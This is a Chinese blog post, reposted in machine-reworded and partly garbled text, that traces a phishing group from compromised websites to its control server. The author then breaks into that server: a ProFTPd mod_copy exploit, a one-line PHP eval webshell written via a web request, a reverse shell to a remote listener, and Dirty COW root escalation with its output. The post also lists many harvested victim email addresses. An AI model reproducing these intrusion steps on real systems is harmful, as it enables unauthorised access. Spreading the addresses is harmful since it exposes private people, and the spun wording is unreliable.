-rw-r--r-- 1 1365 1328    14487 11月 30 21:15 publik.live-ssl_log-Nov-2018.gz
-rw-r--r-- 1 1365 1328    88292 11月 30 21:15 zebramedia.publik.live-Nov-2018.gz
-rw-r--r-- 1 1365 1328   139759 11月 30 21:15 zebramedia.publik.live-ssl_log-Nov-2018.gz
-rw-r--r-- 1 1365 1328  6047261 11月 30 21:15 zeri-popullit.publik.live-Nov-2018.gz
-rw-r--r-- 1 1365 1328    52004 11月 30 21:15 zeri-popullit.publik.live-ssl_log-Nov-2018.gz

剖析

依据后门文件名,匹配Apache访问日志,到攻击者代理IP和User Agent。
 ? root@kali  /tmp/zebramedia.al/log/home/vayqpdvg/logs  grep "INSTALL.sql.txt.php" * |grep "php" | awk -F ":" '{print $2}' |awk '{a[$1]+=1;} END {for(i in a){print a[i]" "i;}}' |sort |uniq
148    197.211.61.82 (尼日利亚)
8      178.128.221.199 (希腊)
 ? root@kali  /tmp/zebramedia.al/log/home/vayqpdvg/logs  grep "INSTALL.sql.txt.php" * | grep "php" |grep "POST" |awk -F ":" '{print $2 $6}' |sort |uniq
178.128.221.199 - - [29/Nov/2018//www.zebramedia.al/wp-content/themes/shells/INSTALL.sql.txt.php" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36"
197.211.61.82 - - [29/Nov/2018//www.zebramedia.al/wp-content/themes/shells/INSTALL.sql.txt.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"

4.5.2 网站:helioncomposites.com

打包

日志途径:
/home2/helionco/access-logs/helioncomposites.com/
日志备份:
ls /home2/helionco/logs/
ftp.helioncomposites.com-ftp_log-Feb-2018.gz    
helioncomposites.com-Dec-2018.gz    
helioncomposites.com-Nov-2018.gz    
helioncomposites.com-ssl_log-Dec-2018.gz    
helioncomposites.com-ssl_log-Nov-2018.gz    
tar zcvf /home2/helionco/www/helioncomposites.com-www.tar.gz --exclude=/home2/helionco/www/helioncomposites.com-www.tar.gz  /home2/helionco/www/
tar zcvf /home2/helionco/www/helioncomposites.com-log.tar.gz /home2/helionco/logs/ /home2/helionco/access-logs/helioncomposites.com/

下载

wget  http://helioncomposites.com/helioncomposites.com-log.tar.gz
wget  http://helioncomposites.com/helioncomposites.com-www.tar.gz

剖析

依据后门文件名,匹配Apache访问日志,到攻击者代理IP和User Agent。
 ? root@kali  /tmp  grep ".php" * |grep "/home2/helionco/public_html/" |grep  "HTTP\/1.1\" 200" |awk -F ":" '{print $2}' |awk '{a[$1]+=1;} END {for(i in a){print a[i]" "i;}}' |sort -t " " -k 1 -n -r >ip.txt
1137 198.143.51.17
588 198.143.38.3
478 198.143.41.14
246 198.143.32.13
131 198.143.32.3
103 198.143.57.3
86 198.143.57.73
84 198.143.57.5
46 198.143.32.10
32 198.143.37.15
......
 ? root@kali  /tmp  for line in $(</ip.txt); do curl https://ip.cn/\?ip\=$line ; done
IP: 198.143.51.17 来自: 以色列 Incapsula
IP: 198.143.38.3 来自: 美国 Incapsula
IP: 198.143.41.14 来自: 美国 Incapsula
IP: 198.143.32.13 来自: 美国 Incapsula
IP: 198.143.32.3 来自: 美国 Incapsula
IP: 198.143.57.3 来自: 美国 Incapsula
IP: 198.143.57.73 来自: 美国 Incapsula
IP: 198.143.57.5 来自: 美国 Incapsula
IP: 198.143.32.10 来自: 美国 Incapsula
......

这个网站由于日志不全,提取出的IP大都是爬虫IP,所以不归入最终的汇总。

4.5.3 发现钓鱼程序

网站 zebramedia.al 上发现多个攻击者放置的钓鱼程序和模板。

针对Dropbox2018-12-01 00-32-03屏幕截图.png-116.9kB针对Gmail2018-12-01 00-28-51屏幕截图.png-76.2kB

4.6 关联剖析

运用之前得到的后门文件中的关键字(config.php)对这3个网站文件停止匹配,发现其中2个存在相同后门文件,并且文件MD5值相同。

 ? root@kali  /tmp  find . -name "*.php" |xargs grep  "\$bm_____s" |awk -F ":" '{print $1}' 
./rosturplast.com/www/rosturplast.com/shells/config.php
./mirohaviar.sk/www/config.php
./zebramedia.al/www/zebramedia.al/config.php
./www.radiolanalhue.cl/www/public_html/online/administrator/templates/bluestork/config.php

后门文件MD5

 ? root@kali  /tmp  find . -name "*.php" |xargs grep  "\$bm_____s" |awk -F ":" '{print $1}' |xargs md5sum
e5c06f1f66781ba5c39d909096c4cd47  ./rosturplast.com/www/rosturplast.com/shells/config.php
e5c06f1f66781ba5c39d909096c4cd47  ./mirohaviar.sk/www/config.php
e5c06f1f66781ba5c39d909096c4cd47  ./zebramedia.al/www/zebramedia.al/config.php
e5c06f1f66781ba5c39d909096c4cd47  ./www.radiolanalhue.cl/www/public_html/online/administrator/templates/bluestork/config.php

五、浸透攻击者肉鸡效劳器

5.1 破绽扫描

目的:187.85.134.4

[+] HOST: 187.85.134.4(巴西)
[+] OS: Ubuntu
[+] Web Server: Apache/2.2.22 / PHP/5.3.10-1ubuntu3.19
[+] CMS: 未知

nmap --script=firewalk --traceroute 187.85.134.4

187.85.134.4-nmap.png-172.2kB

5.2 破绽应用

端口扫描发现目的 FTP Server为ProFTPd 1.3.4a,这个版本和1.3.5存在未受权文件复制破绽,我们能够经过这个破绽往Web目录写入一个WebShell。

ProFTPd 1.3.5 Remote Command Execution(CVE-2015-3306) 
ProFTPD中运用的mod_copy模块存在未受权访问风险,招致ProFTPD自带的命令 SITE CPFR 和 SITE CPTO可在未登录ftp的状况被外部黑客所应用,对系统文件停止恣意复制。

ProFTPd 1.3.5-a.png-84.8kB

5.2 获取权限

运用用MSF执行msf-proftpd_modcopy_exec.png-405kB

得到一个cmd功用的WebShell2018-12-03 21-50-12屏幕截图.png-190.9kB

写入中国菜刀客户端

http://187.85.134.4/lndex.php?img=echo PD9waHAgQGV2YWwoJF9QT1NUWydhJ10pOz8+Cg== |base64 -d  >/var/www/index2.php

2018-12-05 19-28-53屏幕截图.png-201.6kB

5.3 文件剖析

在Web目录下面发现用于发送钓鱼邮件的perl脚本、邮件钓鱼样本和大量的邮箱地址。以及挖矿后门、DDOS脚本等。

187.85.134.4-ls.png-473kB187.85.134.4-lsls.png-390.5kB

5.3.1 钓鱼模板

图示是针对丹麦丹斯克银行(Danske Bank)和希腊阿尔法银行(Alpha Bank)的邮件钓鱼样本。

钓鱼模板1.png-50.5kB银行模板2.png-79.3kB银行模板3.png-37.5kB银行模板4.png-40.4kB银行模板5.png-24.7kB银行模板6.png-36.1kB

5.3.2 僵尸网络程序

irc3.png-9.9kBirc2.png-99.8kB

5.3.3 DDOS脚本

ddos2.png-75kB

5.3.4 邮箱地址

统计目录下的 txt 文本数量,发现共有六十二万四千个邮箱地址。

 ? root@kali  /tmp/187.85.134.4/www/cat  wc -l *.txt     
624000 总用量

主流邮箱检索

 ? root@kali  /tmp/187.85.134.4/www/cacat  grep "@gmail.com" *.txt |head -n 20 
a0000001.txt:a.l.v.e.rtadsmileyksso@gmail.com
a0000001.txt:a.l.v.ertadsmileyksso@gmail.com
a0000001.txt:a.lfer.gm@gmail.com
a0000001.txt:a.lieseijsink@gmail.com
a0000001.txt:a.linkhusen@gmail.com
a0000001.txt:a.loldrup@gmail.com
a0000001.txt:a.lovendahl@gmail.com
a0000001.txt:a.lv.e.rtadsmileyksso@gmail.com
a0000001.txt:a.lver.tadsmileyksso@gmail.com
a0000001.txt:a.m.edsberg@gmail.com
a0000001.txt:a.m.morcke@gmail.com
a0000001.txt:a.m.quist@gmail.com
a0000001.txt:a.m.svendsen@gmail.com
a0000001.txt:a.merete.p@gmail.com
a0000001.txt:a.mette.sm@gmail.com
a0000001.txt:a.miller8111@gmail.com
a0000001.txt:a.moejbaek@gmail.com
a0000001.txt:a.moltkehansen@gmail.com
a0000001.txt:a.munktved@gmail.com
a0000001.txt:a.n.knutzen@gmail.com
 ? root@kali  /tmp/187.85.134.4/www/cat  grep "@outlook.com" *.txt |head -n 20
a0000001.txt:a.m.westra@outlook.com
a0000001.txt:a.olsen@outlook.com
a0000002.txt:aagren@outlook.com
a0000003.txt:aandanimalcity@outlook.com
a0000003.txt:aarhus-ungegruppe@outlook.com
a0000004.txt:aase.lousdal@outlook.com
a0000006.txt:abroschultz@outlook.com
a0000008.txt:adamfred2@outlook.com
a0000008.txt:adexecsolution@outlook.com
a0000010.txt:adrian.f.a.svendsen@outlook.com
a0000015.txt:aiah@outlook.com
a0000015.txt:aimeegarcia584@outlook.com
a0000016.txt:ajolicoeu@outlook.com
a0000018.txt:akstrup@outlook.com
a0000020.txt:alexander_bangsborg@outlook.com
a0000020.txt:alexanderkopke@outlook.com
a0000020.txt:ali__sivan@outlook.com
a0000021.txt:alicegerner@outlook.com
a0000022.txt:allanjeppesen@outlook.com
a0000023.txt:allworlduseu@outlook.com
 ? root@kali  /tmp/187.85.134.4/www/cat  grep "@163.com" *.txt |head -n 20
a0000001.txt:a31a18615@163.com
a0000001.txt:a398c671@163.com
a0000059.txt:backlink0321@163.com
a0000061.txt:banqianm8256@163.com
a0000075.txt:bf86ad32@163.com
a0000121.txt:cbb146672@163.com
a0000129.txt:chenbin800519@163.com
a0000134.txt:chuofuh3082@163.com
a0000157.txt:davidhuang001@163.com
a0000162.txt:dfjiuew@163.com
a0000209.txt:f08dbf326@163.com
a0000213.txt:fanxued79193@163.com
a0000221.txt:fjfzpy@163.com
a0000227.txt:fon@163.com
a0000259.txt:guangdk@163.com
a0000311.txt:huhuanqiang00161@163.com

5.4 提权

5.4.1 CVE-2013-2094,CVE-2013-1763提权

查看apache日志目录,发现没有权限。

[/var/www/]$ls -al /var/log/apache2/
ls: cannot open directory /var/log/apache2/: Permission denied

内核版本为3.5.0-23,尝试提权。

[/var/www/]$cat /etc/issue
Ubuntu 12.04.2 LTS \n \l
[/var/www/]$uname -an
Linux medidor2 3.5.0-23-generic #35~precise1-Ubuntu SMP Fri Jan 25 17:15:33 UTC 2013  GNU/Linux

3.5.0-23-a.png-104.5kB

WebShell反弹:
[/var/www/]$cd /var/tmp;./pty  xxx.xxx.xxx.xxx 443
外网VPS监听:
socat file:`tty`,echo=0,raw tcp-listen:443

2018-12-04 14-43-05屏幕截图.png-61.7kB

实践测试CVE-2013-2094,CVE-2013-1763均无法提权。

CVE-2013-2094
Linux Kernel 3.2.0-23/3.5.0-23 (Ubuntu
12.04/12.04.1/12.04.2 x64) - 'perf_swevent_init' Local Privilege Escalation (3)
CVE-2013-1763
Linux Kernel < 3.5.0-23 (Ubuntu 12.04.2 x64) - 'SOCK_DIAG' SMEP Bypass Local Privilege Escalation

5.4.2 脏牛提权

祭出大杀器CVE-2016-5195(脏牛) , 理论上通杀 2.6.22 < 3.9 (x86/x64)的内核版本。

在本地环境提权测试过程中发现,i386架构下运用cowroot提权时EXP会毁坏源文件,招致提权失败。而运用dirtycow-mem仅修正内存则没有问题,但是存在内核解体的风险。这两个EXP都是应用/proc/self/mem提权,前一个修正文件,后一个修正内存。

如图所示:Screenshot-2019-1-23 Carbon.png-68.1kB

运用dirtycow-mem.c提权时需求留意:i386架构下编译前需求将源代码中libc途径修正为目的系统libc途径,否则执行时找不到文件。

#define SHELLCODE   "\x31\xc0\xc3"
#define SPACE_SIZE  256
#define LIBC_PATH   "/lib/x86_64-linux-gnu/libc.so.6"  ## 改为 /lib/i386-linux-gnu/libc.so.6
#define LOOP        0x1000000
#ifndef PAGE_SIZE
#define PAGE_SIZE 4096

Give me root  :),提权胜利。

www-data@medidor2:/tmp$gcc -Wall -o hello dirtycow-mem.c -ldl -lpthread
www-data@medidor2:/tmp$ ls
hello
www-data@medidor2:/tmp$ chmod +x hello
www-data@medidor2:/tmp$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@medidor2:/tmp$ ./hello
[*] range: b7573000-b7716000]
[*] getuid = b762bd10
[*] mmap 0xb73cb000
[*] exploiting (patch)
[*] patched (madviseThread)
[*] patched (procselfmemThread)
root@medidor2:/tmp# [*] exploiting (unpatch)
[*] unpatched: uid=33 (madviseThread)
[*] unpatched: uid=33 (procselfmemThread)
root@medidor2:/tmp# id
uid=0(root) gid=0(root) groups=0(root)

打包Apache日志。

? ? root@kali  ls /var/log/apache2
access  error  other_vhosts_access.log
? ? root@kali  tar zcvf /var/www/apache2-log.tar.gz  /var/log/apache2/
? ? root@kali  /tmp  ltor wget http://187.85.134.4/apache2-log.tar.gz  
[proxychains] config file found: /data/app/local/proxychains_local_tor/proxychains.conf
[proxychains] preloading /data/app/local/proxychains_local_tor/libproxychains4.so
[proxychains] DLL init
--2011-11-11 11:11:11--  http://187.85.134.4/apache2-log.tar.gz
正在衔接 187.85.134.4:80... [proxychains] Strict chain  ...  127.0.0.1:9050  ...  187.85.134.4:80  ...  OK
已衔接。
已发出 HTTP 恳求,正在等候回应... 200 OK
长度:9258688 (8.8M) [application/x-gzip]
正在保管至: “apache2-log.tar.gz”
apache2-log.tar.gz  100%[===================>]   8.83M  29.6KB/s  用时 5m 45s  
2018-11-11 11:11:11 (26.2 KB/s) - 已保管 “apache2-log.tar.gz” [9258688/9258688])

5.5 剖析日志

剖析IP访问状况

? root@kali  /tmp/  grep "/cacat/" * |grep "php" | awk -F ":" '{print $2}' |awk '{a[$1]+=1;} END {for(i in a){print a[i]" "i;}}' |sort -t " " -k 1 -n -r >ip.txt
95 185.56.80.138
77 197.211.60.52
70 67.71.3.8
59 207.35.210.35
41 99.226.207.46
41 193.215.40.238
39 197.211.59.163
38 82.61.95.132
38 66.249.73.95
37 76.26.34.181
37 197.234.221.77
31 105.112.27.60
29 105.112.23.41
20 109.166.138.68
16 66.249.79.61
16 197.211.61.18
14 212.100.77.191
12 197.234.221.210
8 66.249.79.35
8 66.249.73.64
7 154.118.69.165
5 66.249.73.67
......
 ? root@kali  /tmp  for line in $(<ip.txt); do curl https://ip.cn/\?ip\=$line ; done
IP: 185.56.80.138 来自: 荷兰 
IP: 197.211.60.52 来自: 尼日利亚 
IP: 67.71.3.8 来自: 加拿大 
IP: 207.35.210.35 来自: 加拿大 
IP: 99.226.207.46 来自: 加拿大 
IP: 193.215.40.238 来自: 挪威 
IP: 197.211.59.163 来自: 尼日利亚
IP: 82.61.95.132 来自: 意大利 
IP: 66.249.73.95 来自: Google 主干网
IP: 76.26.34.181 来自: 美国 
IP: 197.234.221.77 来自: 贝宁 
IP: 105.112.27.60 来自: 尼日利亚 
IP: 105.112.23.41 来自: 尼日利亚 
IP: 109.166.138.68 来自: 罗马尼亚 
IP: 66.249.79.61 来自: Google 主干网
IP: 197.211.61.18 来自: 尼日利亚 
IP: 212.100.77.191 来自: 尼日利亚 
IP: 197.234.221.210 来自: 贝宁 
IP: 66.249.79.35 来自: Google 主干网
IP: 66.249.73.64 来自: Google 主干网
IP: 154.118.69.165 来自: 尼日利亚 
IP: 66.249.73.67 来自: Google 主干网
......

依据途径名判别,疑似受害者访问了钓鱼页面。

 ? root@kali  /tmp/ grep "/cacat" *| grep "php" |grep "POST" |awk -F ":" '{print $2 $6}' |sort |uniq 
109.166.138.68 - - [31/Jan/2018//187.85.134.4/cacat/portal/portal/userlogin.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36"
109.166.138.68 - - [31/Jan/2018//187.85.134.4/cacat/portal/portal/userlogin.php?sfm_sid=120" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36"
185.56.80.138 - - [31/Jan/2018//187.85.134.4/cacat/portal/portal/userlogin.php?sfm_sid=8425" "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36"
196.52.34.20 - - [12/Oct/201835.0) Gecko/20100101 Firefox/35.0"
207.35.210.35 - - [21/Aug/2018//187.85.134.4/cacat/win2018/winbnk/EBlogin.html?sitecode=GR&lang=el-GR" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36"
197.211.60.52 - - [07/Sep/2018:16:02:40 -0300] "GET /cacat/nnnnn.zip HTTP/1.1" 200 4489167 "http://187.85.134.4/cacat/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"

查看web目录下txt文件访问状况,总共有一万多IP。访问地址包含受害者主机IP、各种搜索引擎爬虫IP、各路黑客的IP等等。

grep "/cacat/" * |grep "txt" | awk -F ":" '{print $2}' |awk '{a[$1]+=1;} END {for(i in a){print a[i]" "i;}}' |sort -t " " -k 1 -n -r  >ip.txt
 ? root@kali  ~/Desktop  wc -l ip.txt                                                        
10101 ip.txt

5.6 访问IP热力图

5.6.1 IP转经纬度坐标

将取得的IP转换成经纬度坐标,再经过百度地图API生成热力图

将IP转换成经纬度坐标,脚本:ip2xy.py 生成经纬度坐标文件:point.js 全球IP库:GeoLiteCity.dat

#!/usr/bin/python #coding:utf-8 import pandas as pd import pygeoip import types import sys
gi = pygeoip.GeoIP('/tmp/GeoLiteCity.dat', pygeoip.MEMORY_CACHE) def getLocal(ip): if type(ip) != types.StringType: print ip return location = gi.record_by_addr(ip) if location is None: print ip return lng = location['longitude'] lat = location['latitude'] str_temp = '{"lat":' + str(lat) + ',"lng":' + str(lng) + '},\n' print ip,lng,lat,str_temp
    file.write(str_temp) file = open('/tmp/point.js', 'w') file.write("var points =[\n") with open("/tmp/ip.txt") as f: i = 0 for ip in f.readlines(): getLocal(ip) file.write("];\n") file.close()

5.6.2 调用百度地图API

本地调用百度地图 JavaScript API: map.html

 
	

5.6.3 生成热力图

如图所示,欧洲IP居多,亚洲也不少。至于有几主机陷落和几受害者上钩,无法精确判别。

热力图1.png-526.6kB

热力图2.png-357.6kB

热力图3.png-1196.3kB

六、信息汇总

依据所得信息汇总,对这个黑客组织信息停止简单剖析,仅供参考。

6.1 组织信息

称号:

Muslim Cyber Corp - Mujahidin Cyber Army - Family Attack Cyber

地域:

巴勒斯坦

成员ID:

Hawk_B404 、 MR.S1NS_Y 、 koneksi eror 、 GU3LT03M 、 SinonX 、 ./B4Z1R007 、 ./Bl4ckJ4ck 、 anon99husein 、 4GottenName 、Gantai 、 4nzeL4 、 AKEMI403

历史邮箱:

alexsin54@yahoo.com
jasonchowan223@gmail.com
macacperus@yopmail.com
bidibidibidi@yopmail.com
bidi.pici11@hotmail.com
bidi.cuc@mail.com
flrnvasilica@gmail.com

组织主页:

http://mujahidincyberarmy.blogspot.com/

https://www.facebook.com/FamilyAttackCyberOfficial/

6.2 攻击手腕

入侵运用Wordpress、Joomla! CMS的网站、放置钓鱼程序,批量传播钓鱼邮件。

攻击目的:

早期政治目的居多,主要攻击美国政府机构网站和雇员。近期多为商业目的,主要针对欧洲银行客户以及亚洲金融机构雇员停止邮件钓鱼。

控制主机:

187.85.134.4

常用后门:

6.3 攻击历史

美国联邦调查局、美国疆土平安部、美国司法部

巴勒斯坦黑客曾经发布了大约2万名联邦调查局(FBI)和9,000名疆土平安部(DHS)官员的个人信息
http://mujahidincyberarmy.blogspot.com/2016/12/inilah-data-informasi-pribadi-20-ribu.html

经过钓鱼邮件取得美国司法部权限

http://mujahidincyberarmy.blogspot.com/2016/02/hacker-pro-palestina-terbitkan.html

6.4 代理IP

174.85.145.99 (美国) - - [27/Nov/2018:23:35:31 +0300] "POST /shells/bacu.php HTTP/1.1" 200 4731 "http://www.rosturplast.com/shells/bacu.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"
50.73.252.169 (美国) - - [29/Nov/2018//www.rosturplast.com/shells/config.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"
213.233.104.120 (罗马尼亚) - - [27/Nov/2018:22:10:03 +0300] "GET /shells/config.php HTTP/1.1" 200 124 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0"
207.228.149.69 (百慕大 ) - - [28/Nov/2018:23:12:54 +0300] "POST /shells/config.php HTTP/1.1" 200 3729 "http://www.rosturplast.com/shells/config.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"
195.211.23.207 (俄罗斯) - - [27/Nov/2018:22:36:50 +0300] "GET /shells/config.php HTTP/1.1" 200 124 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
29.205.113.8 (尼日利亚) - - [30/Nov/2018//www.rosturplast.com/shells/config.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36"
212.1.211.3 (美国) - - [30/Nov/2018:13:35:36 -0300] "GET /online/templates/beez5/bc.php HTTP/1.1" 200 16823 "-" "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)"
178.128.221.199 (希腊)- - [29/Nov/2018//www.zebramedia.al/wp-content/themes/shells/INSTALL.sql.txt.php" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36"
197.211.61.82 (尼日利亚) - - [29/Nov/2018//www.zebramedia.al/wp-content/themes/shells/INSTALL.sql.txt.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"

6.5 被黑网站

不完整统计
rosturplast.com
mirohaviar.sk
helioncomposites.com
radiolanalhue.cl
zebramedia.al
www.qtfontebispo.com
www.seoeaze.com
vilapoucadeaguiar.com
proyectosphr.cl
u-p.com
www.humanaconsultores.cl
amsogroup.com
www.tdftechnologies.com
www.bvvagos.pt
www.huellasdigitales.cl
lince.apsl.edu.pl
www.fica.unsl.edu.ar
proyectosphr.cl
www.zlobek.uw.edu.pl
ifr.pt
mail.ijrer.org
www.hkmms.org.hk
historia.apsl.edu.pl
www.homeguide.com.sg
onlinecombos.co.in
umo.apsl.edu.pl
www.bpmp2t.lombokbaratkab.go.id
amsogroup.com
viper.cl
www.teniscavancha.cl
www.estacaomedica.pt
terrarestobar.cl
jf-bragado.pt
helioncomposites.com
notariabasualto.cl
ericdiblasi.com
reinamarltda.cl
cobraz.pt
www.stmarypellaia.com
webcam.wm-itservice.at

七、攻击途径复原

复盘整个溯源过程,复原攻击者攻击途径。

攻击途径1 (4).png-215.2kB

以上就是整个溯源过程,仅供参考。


分享到:
打赏
未经允许不得转载:

作者: 小胖, 转载或复制请以 超链接形式 并注明出处 小胖资源博客
原文地址: 《如何通过一封恶意邮件追踪幕后黑客组织》 发布于2019-6-13

评论

切换注册

登录

您也可以使用第三方帐号快捷登录

切换登录

注册

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

微信扫一扫打赏